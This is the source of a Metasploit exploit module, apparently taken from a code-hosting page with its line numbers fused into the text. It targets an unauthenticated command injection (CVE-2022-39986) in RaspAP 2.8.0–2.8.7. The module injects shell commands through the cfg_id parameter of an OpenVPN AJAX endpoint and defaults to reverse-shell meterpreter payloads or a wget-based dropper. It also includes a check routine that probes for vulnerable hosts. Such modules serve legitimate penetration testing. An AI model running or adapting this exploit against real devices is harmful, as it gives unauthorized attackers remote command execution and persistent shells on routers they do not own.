Path: blob/master/modules/exploits/unix/http/raspap_rce.rb
33109 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'RaspAP Unauthenticated Command Injection',17'Description' => %q{18RaspAP is feature-rich wireless router software that just works19on many popular Debian-based devices, including the Raspberry Pi.20A Command Injection vulnerability in RaspAP versions 2.8.0 thru 2.8.7 allows21unauthenticated attackers to execute arbitrary commands in the context of the user running RaspAP via the cfg_id22parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.2324Successfully tested against RaspAP 2.8.0 and 2.8.7.25},26'License' => MSF_LICENSE,27'Author' => [28'Ege BALCI <egebalci[at]pm.me>', # msf module29'Ismael0x00', # original PoC, analysis30],31'References' => [32['CVE', '2022-39986'],33['URL', 'https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2'],34['GHSA', '7c28-wg7r-pg6f', 'raspap/raspap']35],36'Privileged' => false,37'Targets' => [38[39'Unix Command',40{41'Platform' => 'unix',42'Arch' => ARCH_CMD,43'Type' => :unix_cmd,44'DefaultOptions' => {45'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'46}47}48],49[50'Linux Dropper',51{52'Platform' => 'linux',53'Arch' => [ARCH_X86, ARCH_X64],54'Type' => :linux_dropper,55'CmdStagerFlavor' => :wget,56'DefaultOptions' => {57'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'58}59}60]61],62'DisclosureDate' => '2023-07-31',63'DefaultTarget' => 0,64'Notes' => {65'Stability' => [CRASH_SAFE],66'Reliability' => [REPEATABLE_SESSION],67'SideEffects' => []68}69)70)71register_options(72[73Opt::RPORT(80),74OptString.new('TARGETURI', [ true, 'The URI of the RaspAP Web GUI', '/'])75]76)77end7879def check80res = send_request_cgi(81'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),82'method' => 'POST'83)84return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?8586if res.code == 20087return CheckCode::Appears88end8990CheckCode::Safe91end9293def execute_command(cmd, _opts = {})94send_request_cgi(95'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),96'method' => 'POST',97'vars_post' => {98'cfg_id' => ";#{cmd};#"99}100)101end102103def exploit104case target['Type']105when :unix_cmd106print_status("Executing #{target.name} with #{payload.encoded}")107execute_command(payload.encoded)108when :linux_dropper109print_status("Executing #{target.name}")110execute_cmdstager111end112end113end114115116